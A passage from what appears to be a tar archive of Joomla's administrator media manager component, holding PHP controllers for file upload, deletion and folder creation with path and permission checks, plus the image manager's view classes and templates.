			// Transform filename to punycode, then neglect other than non-alphanumeric characters & underscores. Also transform extension to lowercase
			$safeFileName = preg_replace(array("/[\\s]/", '/[^a-zA-Z0-9_\-]/'), array('_', ''), $fileparts['filename']) . '.' . $tempExt;

			// Create filepath with safe-filename
			$files['final'] = $fileparts['dirname'] . DIRECTORY_SEPARATOR . $safeFileName;
			$file['name']   = $safeFileName;

			$filepath = JPath::clean($files['final']);

			if (!$mediaHelper->canUpload($file, 'com_media')
				|| strpos(realpath($fileparts['dirname']), JPath::clean(realpath(COM_MEDIA_BASE))) !== 0)
			{
				try
				{
					JLog::add('Invalid: ' . $filepath, JLog::INFO, 'upload');
				}
				catch (RuntimeException $exception)
				{
					// Informational log only
				}

				$response = array(
					'status'  => '0',
					'message' => JText::_('COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE'),
					'error'   => JText::_('COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE')
				);

				echo json_encode($response);

				return;
			}

			// Trigger the onContentBeforeSave event.
			JPluginHelper::importPlugin('content');
			$dispatcher  = JEventDispatcher::getInstance();
			$object_file = new JObject($file);
			$object_file->filepath = $filepath;
			$result = $dispatcher->trigger('onContentBeforeSave', array('com_media.file', &$object_file, true));

			if (in_array(false, $result, true))
			{
				// There are some errors in the plugins
				try
				{
					JLog::add(
						'Errors before save: ' . $object_file->filepath . ' : ' . implode(', ', $object_file->getErrors()),
						JLog::INFO,
						'upload'
					);
				}
				catch (RuntimeException $exception)
				{
					// Informational log only
				}

				$response = array(
					'status'  => '0',
					'message' => JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors = $object_file->getErrors()), implode('<br />', $errors)),
					'error'   => JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors = $object_file->getErrors()), implode('<br />', $errors))
				);

				echo json_encode($response);

				return;
			}

			if (JFile::exists($object_file->filepath))
			{
				// File exists
				try
				{
					JLog::add('File exists: ' . $object_file->filepath . ' by user_id ' . $user->id, JLog::INFO, 'upload');
				}
				catch (RuntimeException $exception)
				{
					// Informational log only
				}

				$response = array(
					'status'   => '0',
					'message'  => JText::_('COM_MEDIA_ERROR_FILE_EXISTS'),
					'error'    => JText::_('COM_MEDIA_ERROR_FILE_EXISTS'),
					'location' => str_replace(JPATH_ROOT, '',  $filepath)
				);

				echo json_encode($response);

				return;
			}
			elseif (!$user->authorise('core.create', 'com_media'))
			{
				// File does not exist and user is not authorised to create
				try
				{
					JLog::add('Create not permitted: ' . $object_file->filepath . ' by user_id ' . $user->id, JLog::INFO, 'upload');
				}
				catch (RuntimeException $exception)
				{
					// Informational log only
				}

				$response = array(
					'status'  => '0',
					'error'   => JText::_('COM_MEDIA_ERROR_CREATE_NOT_PERMITTED'),
					'message' => JText::_('COM_MEDIA_ERROR_CREATE_NOT_PERMITTED')
				);

				echo json_encode($response);

				return;
			}

			if (!JFile::upload($object_file->tmp_name, $object_file->filepath))
			{
				// Error in upload
				try
				{
					JLog::add('Error on upload: ' . $object_file->filepath, JLog::INFO, 'upload');
				}
				catch (RuntimeException $exception)
				{
					// Informational log only
				}

				$response = array(
					'status'  => '0',
					'message' => JText::_('COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE'),
					'error'   => JText::_('COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE')
				);

				echo json_encode($response);

				return;
			}
			else
			{
				// Trigger the onContentAfterSave event.
				$dispatcher->trigger('onContentAfterSave', array('com_media.file', &$object_file, true));

				try
				{
					JLog::add($folder, JLog::INFO, 'upload');
				}
				catch (RuntimeException $exception)
				{
					// Informational log only
				}

				$returnUrl = str_replace(JPATH_ROOT, '',  $object_file->filepath);

				$response = array(
					'status'   => '1',
					'message'  => JText::sprintf('COM_MEDIA_UPLOAD_COMPLETE', $returnUrl),
					'error'    => JText::sprintf('COM_MEDIA_UPLOAD_COMPLETE', $returnUrl),
					'location' => str_replace('\\', '/', $returnUrl)
				);

				echo json_encode($response);

				return;
			}
		}
		else
		{
			$response = array(
				'status'  => '0',
				'error'   => JText::_('COM_MEDIA_ERROR_BAD_REQUEST'),
				'message' => JText::_('COM_MEDIA_ERROR_BAD_REQUEST')
			);

			echo json_encode($response);

			return;
		}
	}
}
com_media/controllers/file.php000060400000024420152455305270012465 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');

/**
 * Media File Controller
 *
 * @since  1.5
 */
class MediaControllerFile extends JControllerLegacy
{
	/**
	 * The folder we are uploading into
	 *
	 * @var   string
	 */
	protected $folder = '';

	/**
	 * Upload one or more files
	 *
	 * @return  boolean
	 *
	 * @since   1.5
	 */
	public function upload()
	{
		// Check for request forgeries
		$this->checkToken('request');

		$params = JComponentHelper::getParams('com_media');

		// Get some data from the request
		$files        = $this->input->files->get('Filedata', array(), 'array');
		$return       = JFactory::getSession()->get('com_media.return_url');
		$this->folder = $this->input->get('folder', '', 'path');

		// Instantiate the media helper
		$mediaHelper = new JHelperMedia;

		// Don't redirect to an external URL.
		if (!JUri::isInternal($return))
		{
			$return = '';
		}

		// Set the redirect
		if ($return)
		{
			$this->setRedirect($return . '&folder=' . $this->folder);
		}
		else
		{
			$this->setRedirect('index.php?option=com_media&folder=' . $this->folder);
		}

		// First check against unfiltered input.
		if (!$this->input->files->get('Filedata', null, 'RAW'))
		{
			// Total length of post back data in bytes.
			$contentLength = $this->input->server->get('CONTENT_LENGTH', 0, 'INT');

			// Maximum allowed size of post back data in MB.
			$postMaxSize = $mediaHelper->toBytes(ini_get('post_max_size'));

			// Maximum allowed size of script execution in MB.
			$memoryLimit = $mediaHelper->toBytes(ini_get('memory_limit'));

			// Check for the total size of post back data.
			if (($postMaxSize > 0 && $contentLength > $postMaxSize)
				|| ($memoryLimit != -1 && $contentLength > $memoryLimit))
			{
				// Files are too large.
				JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_WARNUPLOADTOOLARGE'));

				return false;
			}

			// No files were provided.
			$this->setMessage(JText::_('COM_MEDIA_ERROR_UPLOAD_INPUT'), 'warning');

			return false;
		}

		if (!$files)
		{
			// Files were provided but are unsafe to upload.
			$this->setMessage(JText::_('COM_MEDIA_ERROR_WARNFILENOTSAFE'), 'error');

			return false;
		}

		// Authorize the user
		if (!$this->authoriseUser('create'))
		{
			return false;
		}

		$uploadMaxSize = $params->get('upload_maxsize', 0) * 1024 * 1024;
		$uploadMaxFileSize = $mediaHelper->toBytes(ini_get('upload_max_filesize'));

		// Perform basic checks on file info before attempting anything
		foreach ($files as &$file)
		{
			// Make the filename safe
			$file['name'] = JFile::makeSafe($file['name']);

			// We need a url safe name
			$fileparts = pathinfo(COM_MEDIA_BASE . '/' . $this->folder . '/' . $file['name']);

			if (strpos(realpath($fileparts['dirname']), JPath::clean(realpath(COM_MEDIA_BASE))) !== 0)
			{
				JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_WARNINVALID_FOLDER'));

				return false;
			}

			// Transform filename to punycode, check extension and transform it to lowercase
			$fileparts['filename'] = JStringPunycode::toPunycode($fileparts['filename']);
			$tempExt = !empty($fileparts['extension']) ? strtolower($fileparts['extension']) : '';

			// Neglect other than non-alphanumeric characters, hyphens & underscores.
			$safeFileName = preg_replace(array("/[\\s]/", '/[^a-zA-Z0-9_\-]/'), array('_', ''), $fileparts['filename']) . '.' . $tempExt;

			$file['name'] = $safeFileName;

			$file['filepath'] = JPath::clean(implode(DIRECTORY_SEPARATOR, array(COM_MEDIA_BASE, $this->folder, $file['name'])));

			if (($file['error'] == 1)
				|| ($uploadMaxSize > 0 && $file['size'] > $uploadMaxSize)
				|| ($uploadMaxFileSize > 0 && $file['size'] > $uploadMaxFileSize))
			{
				// File size exceed either 'upload_max_filesize' or 'upload_maxsize'.
				JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE'));

				return false;
			}

			if (JFile::exists($file['filepath']))
			{
				// A file with this name already exists
				JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_FILE_EXISTS'));

				return false;
			}

			if (!isset($file['name']))
			{
				// No filename (after the name was cleaned by JFile::makeSafe)
				$this->setRedirect('index.php', JText::_('COM_MEDIA_INVALID_REQUEST'), 'error');

				return false;
			}
		}

		// Set FTP credentials, if given
		JClientHelper::setCredentialsFromRequest('ftp');
		JPluginHelper::importPlugin('content');
		$dispatcher = JEventDispatcher::getInstance();

		foreach ($files as &$file)
		{
			// The request is valid
			$err = null;

			if (!MediaHelper::canUpload($file, $err))
			{
				// The file can't be uploaded
				return false;
			}

			// Trigger the onContentBeforeSave event.
			$object_file = new JObject($file);
			$result = $dispatcher->trigger('onContentBeforeSave', array('com_media.file', &$object_file, true));

			if (in_array(false, $result, true))
			{
				// There are some errors in the plugins
				JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors = $object_file->getErrors()), implode('<br />', $errors)));

				return false;
			}

			if (!JFile::upload($object_file->tmp_name, $object_file->filepath))
			{
				// Error in upload
				JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE'));

				return false;
			}

			// Trigger the onContentAfterSave event.
			$dispatcher->trigger('onContentAfterSave', array('com_media.file', &$object_file, true));
			$this->setMessage(JText::sprintf('COM_MEDIA_UPLOAD_COMPLETE', substr($object_file->filepath, strlen(COM_MEDIA_BASE))));
		}

		return true;
	}

	/**
	 * Check that the user is authorized to perform this action
	 *
	 * @param   string  $action  - the action to be performed (create or delete)
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function authoriseUser($action)
	{
		if (!JFactory::getUser()->authorise('core.' . strtolower($action), 'com_media'))
		{
			// User is not authorised
			JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_' . strtoupper($action) . '_NOT_PERMITTED'));

			return false;
		}

		return true;
	}

	/**
	 * Deletes paths from the current path
	 *
	 * @return  boolean
	 *
	 * @since   1.5
	 */
	public function delete()
	{
		$this->checkToken('request');

		$user = JFactory::getUser();

		// Get some data from the request
		$tmpl   = $this->input->get('tmpl');
		$paths  = $this->input->get('rm', array(), 'array');
		$folder = $this->input->get('folder', '', 'path');

		$redirect = 'index.php?option=com_media&folder=' . $folder;

		if ($tmpl == 'component')
		{
			// We are inside the iframe
			$redirect .= '&view=mediaList&tmpl=component';
		}

		$this->setRedirect($redirect);

		// Just return if there's nothing to do
		if (empty($paths))
		{
			$this->setMessage(JText::_('JERROR_NO_ITEMS_SELECTED'), 'error');

			return true;
		}

		if (!$user->authorise('core.delete', 'com_media'))
		{
			// User is not authorised to delete
			JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'));

			return false;
		}

		// Need this to enqueue messages.
		$app = JFactory::getApplication();

		// Set FTP credentials, if given
		JClientHelper::setCredentialsFromRequest('ftp');

		JPluginHelper::importPlugin('content');
		$dispatcher = JEventDispatcher::getInstance();

		$ret = true;

		$safePaths = array_intersect($paths, array_map(array('JFile', 'makeSafe'), $paths));

		foreach ($safePaths as $key => $path)
		{
			$fullPath = implode(DIRECTORY_SEPARATOR, array(COM_MEDIA_BASE, $folder, $path));

			if (strpos(realpath($fullPath), JPath::clean(realpath(COM_MEDIA_BASE))) !== 0)
			{
				unset($safePaths[$key]);
			}
		}

		$unsafePaths = array_diff($paths, $safePaths);

		foreach ($unsafePaths as $path)
		{
			$path = JPath::clean(implode(DIRECTORY_SEPARATOR, array($folder, $path)));
			$path = htmlspecialchars($path, ENT_COMPAT, 'UTF-8');
			$app->enqueueMessage(JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_DELETE_FILE_WARNFILENAME', $path), 'error');
		}

		foreach ($safePaths as $path)
		{
			$fullPath = JPath::clean(implode(DIRECTORY_SEPARATOR, array(COM_MEDIA_BASE, $folder, $path)));
			$object_file = new JObject(array('filepath' => $fullPath));

			if (is_file($object_file->filepath))
			{
				// Trigger the onContentBeforeDelete event.
				$result = $dispatcher->trigger('onContentBeforeDelete', array('com_media.file', &$object_file));

				if (in_array(false, $result, true))
				{
					// There are some errors in the plugins
					$errors = $object_file->getErrors();
					JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_DELETE', count($errors), implode('<br />', $errors)));

					continue;
				}

				$ret &= JFile::delete($object_file->filepath);

				// Trigger the onContentAfterDelete event.
				$dispatcher->trigger('onContentAfterDelete', array('com_media.file', &$object_file));
				$app->enqueueMessage(JText::sprintf('COM_MEDIA_DELETE_COMPLETE', substr($object_file->filepath, strlen(COM_MEDIA_BASE))));
			}
			elseif (is_dir($object_file->filepath))
			{
				$contents = JFolder::files($object_file->filepath, '.', true, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'));

				if (!empty($contents))
				{
					// This makes no sense...
					$folderPath = substr($object_file->filepath, strlen(COM_MEDIA_BASE));
					JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY', $folderPath));

					continue;
				}

				// Trigger the onContentBeforeDelete event.
				$result = $dispatcher->trigger('onContentBeforeDelete', array('com_media.folder', &$object_file));

				if (in_array(false, $result, true))
				{
					// There are some errors in the plugins
					$errors = $object_file->getErrors();
					JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_DELETE', count($errors), implode('<br />', $errors)));

					continue;
				}

				$ret &= !JFolder::delete($object_file->filepath);

				// Trigger the onContentAfterDelete event.
				$dispatcher->trigger('onContentAfterDelete', array('com_media.folder', &$object_file));
				$app->enqueueMessage(JText::sprintf('COM_MEDIA_DELETE_COMPLETE', substr($object_file->filepath, strlen(COM_MEDIA_BASE))));
			}
		}

		return $ret;
	}
}
com_media/controllers/folder.php000060400000016232152455305270013023 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');

/**
 * Folder Media Controller
 *
 * @since  1.5
 */
class MediaControllerFolder extends JControllerLegacy
{
	/**
	 * Deletes paths from the current path
	 *
	 * @return  boolean
	 *
	 * @since   1.5
	 */
	public function delete()
	{
		$this->checkToken('request');

		$user = JFactory::getUser();

		// Get some data from the request
		$tmpl   = $this->input->get('tmpl');
		$paths  = $this->input->get('rm', array(), 'array');
		$folder = $this->input->get('folder', '', 'path');

		$redirect = 'index.php?option=com_media&folder=' . $folder;

		if ($tmpl == 'component')
		{
			// We are inside the iframe
			$redirect .= '&view=mediaList&tmpl=component';
		}

		$this->setRedirect($redirect);

		// Just return if there's nothing to do
		if (empty($paths))
		{
			$this->setMessage(JText::_('JERROR_NO_ITEMS_SELECTED'), 'error');

			return true;
		}

		if (!$user->authorise('core.delete', 'com_media'))
		{
			// User is not authorised to delete
			JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'));

			return false;
		}

		// Need this to enqueue messages.
		$app = JFactory::getApplication();

		// Set FTP credentials, if given
		JClientHelper::setCredentialsFromRequest('ftp');

		JPluginHelper::importPlugin('content');
		$dispatcher = JEventDispatcher::getInstance();

		$ret = true;

		$safePaths = array_intersect($paths, array_map(array('JFile', 'makeSafe'), $paths));
		$unsafePaths = array_diff($paths, $safePaths);

		foreach ($unsafePaths as $path)
		{
			$path = JPath::clean(implode(DIRECTORY_SEPARATOR, array($folder, $path)));
			$path = htmlspecialchars($path, ENT_COMPAT, 'UTF-8');
			$app->enqueueMessage(JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_DELETE_FILE_WARNFILENAME', $path), 'error');
		}

		foreach ($safePaths as $path)
		{
			$fullPath = JPath::clean(implode(DIRECTORY_SEPARATOR, array(COM_MEDIA_BASE, $folder, $path)));

			if (strpos(realpath($fullPath), JPath::clean(realpath(COM_MEDIA_BASE))) !== 0)
			{
				JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_WARNINVALID_FOLDER'));

				continue;
			}

			$object_file = new JObject(array('filepath' => $fullPath));

			if (is_file($object_file->filepath))
			{
				// Trigger the onContentBeforeDelete event.
				$result = $dispatcher->trigger('onContentBeforeDelete', array('com_media.file', &$object_file));

				if (in_array(false, $result, true))
				{
					// There are some errors in the plugins
					$errors = $object_file->getErrors();
					JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_DELETE', count($errors), implode('<br />', $errors)));

					continue;
				}

				$ret &= JFile::delete($object_file->filepath);

				// Trigger the onContentAfterDelete event.
				$dispatcher->trigger('onContentAfterDelete', array('com_media.file', &$object_file));
				$app->enqueueMessage(JText::sprintf('COM_MEDIA_DELETE_COMPLETE', substr($object_file->filepath, strlen(COM_MEDIA_BASE))));
			}
			elseif (is_dir($object_file->filepath))
			{
				$contents = JFolder::files($object_file->filepath, '.', true, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'));

				if (!empty($contents))
				{
					// This makes no sense...
					$folderPath = substr($object_file->filepath, strlen(COM_MEDIA_BASE));
					JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY', $folderPath));

					continue;
				}

				// Trigger the onContentBeforeDelete event.
				$result = $dispatcher->trigger('onContentBeforeDelete', array('com_media.folder', &$object_file));

				if (in_array(false, $result, true))
				{
					// There are some errors in the plugins
					$errors = $object_file->getErrors();
					JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_DELETE', count($errors), implode('<br />', $errors)));

					continue;
				}

				$ret &= !JFolder::delete($object_file->filepath);

				// Trigger the onContentAfterDelete event.
				$dispatcher->trigger('onContentAfterDelete', array('com_media.folder', &$object_file));
				$app->enqueueMessage(JText::sprintf('COM_MEDIA_DELETE_COMPLETE', substr($object_file->filepath, strlen(COM_MEDIA_BASE))));
			}
		}

		return $ret;
	}

	/**
	 * Create a folder
	 *
	 * @return  boolean
	 *
	 * @since   1.5
	 */
	public function create()
	{
		// Check for request forgeries
		$this->checkToken();

		$user  = JFactory::getUser();

		$folder      = $this->input->get('foldername', '');
		$folderCheck = (string) $this->input->get('foldername', null, 'raw');
		$parent      = $this->input->get('folderbase', '', 'path');

		$this->setRedirect('index.php?option=com_media&folder=' . $parent . '&tmpl=' . $this->input->get('tmpl', 'index'));

		if (strlen($folder) > 0)
		{
			if (!$user->authorise('core.create', 'com_media'))
			{
				// User is not authorised to create
				JError::raiseWarning(403, JText::_('COM_MEDIA_ERROR_CREATE_NOT_PERMITTED'));

				return false;
			}

			// Set FTP credentials, if given
			JClientHelper::setCredentialsFromRequest('ftp');

			$this->input->set('folder', $parent);

			if (($folderCheck !== null) && ($folder !== $folderCheck))
			{
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_('COM_MEDIA_ERROR_UNABLE_TO_CREATE_FOLDER_WARNDIRNAME'), 'warning');

				return false;
			}

			$path = JPath::clean(COM_MEDIA_BASE . '/' . $parent . '/' . $folder);

			if (strpos(realpath(COM_MEDIA_BASE . '/' . $parent), JPath::clean(realpath(COM_MEDIA_BASE))) !== 0)
			{
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_('COM_MEDIA_ERROR_WARNINVALID_FOLDER'), 'error');

				return false;
			}

			if (!is_dir($path) && !is_file($path))
			{
				// Trigger the onContentBeforeSave event.
				$object_file = new JObject(array('filepath' => $path));
				JPluginHelper::importPlugin('content');
				$dispatcher = JEventDispatcher::getInstance();
				$result     = $dispatcher->trigger('onContentBeforeSave', array('com_media.folder', &$object_file, true));

				if (in_array(false, $result, true))
				{
					// There are some errors in the plugins
					JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors = $object_file->getErrors()), implode('<br />', $errors)));

					return false;
				}

				if (JFolder::create($object_file->filepath))
				{
					$data = "<html>\n<body bgcolor=\"#FFFFFF\">\n</body>\n</html>";
					JFile::write($object_file->filepath . '/index.html', $data);

					// Trigger the onContentAfterSave event.
					$dispatcher->trigger('onContentAfterSave', array('com_media.folder', &$object_file, true));
					$this->setMessage(JText::sprintf('COM_MEDIA_CREATE_COMPLETE', substr($object_file->filepath, strlen(COM_MEDIA_BASE))));
				}
			}

			$this->input->set('folder', ($parent) ? $parent . '/' . $folder : $folder);
		}
		else
		{
			// File name is of zero length (null).
			JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_UNABLE_TO_CREATE_FOLDER_WARNDIRNAME'));

			return false;
		}

		return true;
	}
}
com_media/views/imageslist/view.html.php000060400000003173152455305270014415 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Media component
 *
 * @since  1.0
 */
class MediaViewImagesList extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.0
	 */
	public function display($tpl = null)
	{
		// Do not allow cache
		JFactory::getApplication()->allowCache(false);

		$images  = $this->get('images');
		$folders = $this->get('folders');
		$state   = $this->get('state');

		$this->baseURL = COM_MEDIA_BASEURL;
		$this->images  = &$images;
		$this->folders = &$folders;
		$this->state   = &$state;

		parent::display($tpl);
	}

	/**
	 * Set the active folder
	 *
	 * @param   integer  $index  Folder position
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function setFolder($index = 0)
	{
		if (isset($this->folders[$index]))
		{
			$this->_tmp_folder = &$this->folders[$index];
		}
		else
		{
			$this->_tmp_folder = new JObject;
		}
	}

	/**
	 * Set the active image
	 *
	 * @param   integer  $index  Image position
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function setImage($index = 0)
	{
		if (isset($this->images[$index]))
		{
			$this->_tmp_img = &$this->images[$index];
		}
		else
		{
			$this->_tmp_img = new JObject;
		}
	}
}
com_media/views/imageslist/tmpl/default_folder.php000060400000001531152455305270016427 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$input = JFactory::getApplication()->input;
?>
<li class="imgOutline thumbnail height-80 width-80 center">
	<a href="index.php?option=com_media&amp;view=imagesList&amp;tmpl=component&amp;folder=<?php echo rawurlencode($this->_tmp_folder->path_relative); ?>&amp;asset=<?php echo $input->getCmd('asset'); ?>&amp;author=<?php echo $input->getCmd('author'); ?>" target="imageframe">
		<div class="height-50">
			<span class="icon-folder-2"></span>
		</div>
		<div class="small">
			<?php echo JHtml::_('string.truncate', $this->escape($this->_tmp_folder->name), 10, false); ?>
		</div>
	</a>
</li>
com_media/views/imageslist/tmpl/default.php000060400000003060152455305270015073 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$lang = JFactory::getLanguage();

JHtml::_('stylesheet', 'media/popup-imagelist.css', array('version' => 'auto', 'relative' => true));

if ($lang->isRtl())
{
	JHtml::_('stylesheet', 'media/popup-imagelist_rtl.css', array('version' => 'auto', 'relative' => true));
}

JFactory::getDocument()->addScriptDeclaration('var ImageManager = window.parent.ImageManager;');

if ($lang->isRtl())
{
	JFactory::getDocument()->addStyleDeclaration(
		'
			@media (max-width: 767px) {
				li.imgOutline.thumbnail.height-80.width-80.center {
					float: right;
				}
			}
		'
	);
}
else
{
	JFactory::getDocument()->addStyleDeclaration(
		'
			@media (max-width: 767px) {
				li.imgOutline.thumbnail.height-80.width-80.center {
					float: left;
				}
			}
		'
	);
}
?>
<?php if (count($this->images) > 0 || count($this->folders) > 0) : ?>
	<ul class="manager thumbnails thumbnails-media">
		<?php for ($i = 0, $n = count($this->folders); $i < $n; $i++) :
			$this->setFolder($i);
			echo $this->loadTemplate('folder');
		endfor; ?>

		<?php for ($i = 0, $n = count($this->images); $i < $n; $i++) :
			$this->setImage($i);
			echo $this->loadTemplate('image');
		endfor; ?>
	</ul>
<?php else : ?>
	<div id="media-noimages">
		<div class="alert alert-info"><?php echo JText::_('COM_MEDIA_NO_IMAGES_FOUND'); ?></div>
	</div>
<?php endif; ?>
com_media/views/imageslist/tmpl/default_image.php000060400000002467152455305270016247 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

$params     = new Registry;
$dispatcher = JEventDispatcher::getInstance();
$dispatcher->trigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_img, &$params, 0));
?>

<li class="imgOutline thumbnail height-80 width-80 center">
	<a class="img-preview" href="javascript:ImageManager.populateFields('<?php echo $this->escape($this->_tmp_img->path_relative); ?>')" title="<?php echo $this->escape($this->_tmp_img->name); ?>" >
		<div class="height-50">
			<?php echo JHtml::_('image', $this->baseURL . '/' . $this->escape($this->_tmp_img->path_relative), JText::sprintf('COM_MEDIA_IMAGE_TITLE', $this->escape($this->_tmp_img->title), JHtml::_('number.bytes', $this->_tmp_img->size)), array('width' => $this->_tmp_img->width_60, 'height' => $this->_tmp_img->height_60)); ?>
		</div>
		<div class="small">
			<?php echo JHtml::_('string.truncate', $this->escape($this->_tmp_img->name), 10, false); ?>
		</div>
	</a>
</li>
<?php
$dispatcher->trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_img, &$params, 0));
com_media/views/images/view.html.php000060400000002245152455305270013520 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Media component
 *
 * @since  1.0
 */
class MediaViewImages extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.0
	 */
	public function display($tpl = null)
	{
		$config = JComponentHelper::getParams('com_media');

		/*
		 * Display form for FTP credentials?
		 * Don't set them here, as there are other functions called before this one if there is any file write operation
		 */
		$ftp = !JClientHelper::hasCredentials('ftp');

		$this->session     = JFactory::getSession();
		$this->config      = $config;
		$this->state       = $this->get('state');
		$this->folderList  = $this->get('folderList');
		$this->require_ftp = $ftp;

		parent::display($tpl);
	}
}
com_media/views/images/tmpl/default.php000060400000020152152455305270014200 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$user       = JFactory::getUser();
$input      = JFactory::getApplication()->input;
$params     = JComponentHelper::getParams('com_media');
$lang       = JFactory::getLanguage();
$onClick    = '';
$fieldInput = $this->state->get('field.id');
$isMoo      = $input->getInt('ismoo', 1);
$author     = $input->getCmd('author');
$asset      = $input->getCmd('asset');

JHtml::_('formbehavior.chosen', 'select');

// Load tooltip instance without HTML support because we have a HTML tag in the tip
JHtml::_('bootstrap.tooltip', '.noHtmlTip', array('html' => false));

// Include jQuery
JHtml::_('behavior.core');
JHtml::_('jquery.framework');
JHtml::_('script', 'media/popup-imagemanager.min.js', array('version' => 'auto', 'relative' => true));
JHtml::_('stylesheet', 'media/popup-imagemanager.css', array('version' => 'auto', 'relative' => true));

if ($lang->isRtl())
{
	JHtml::_('stylesheet', 'media/popup-imagemanager_rtl.css', array('version' => 'auto', 'relative' => true));
}

JFactory::getDocument()->addScriptOptions(
	'mediamanager', array(
		'base'   => $params->get('image_path', 'images') . '/',
		'asset'  => $asset,
		'author' => $author
	)
);

/**
 * Mootools compatibility
 *
 * There is an extra option passed in the URL for the iframe &ismoo=0 for the bootstrap fields.
 * By default the value will be 1 or defaults to mootools behaviour
 *
 * This should be removed when mootools won't be shipped by Joomla.
 */
if (!empty($fieldInput)) // Media Form Field
{
	if ($isMoo)
	{
		$onClick = "window.parent.jInsertFieldValue(document.getElementById('f_url').value, '" . $fieldInput . "');window.parent.jModalClose();window.parent.jQuery('.modal.in').modal('hide');";
	}
}
else // XTD Image plugin
{
	$onClick = 'ImageManager.onok();window.parent.jModalClose();';
}
?>
<div class="container-popup">

	<form action="index.php?option=com_media&amp;asset=<?php echo $asset; ?>&amp;author=<?php echo $author; ?>" class="form-horizontal" id="imageForm" method="post" enctype="multipart/form-data">

		<div id="messages" style="display: none;">
			<span id="message"></span><?php echo JHtml::_('image', 'media/dots.gif', '...', array('width' => 22, 'height' => 12), true); ?>
		</div>

		<div class="well">
			<div class="row-fluid">
				<div class="span8 control-group">
					<div class="control-label">
						<label for="folder"><?php echo JText::_('COM_MEDIA_DIRECTORY'); ?></label>
					</div>
					<div class="controls">
						<?php echo $this->folderList; ?>
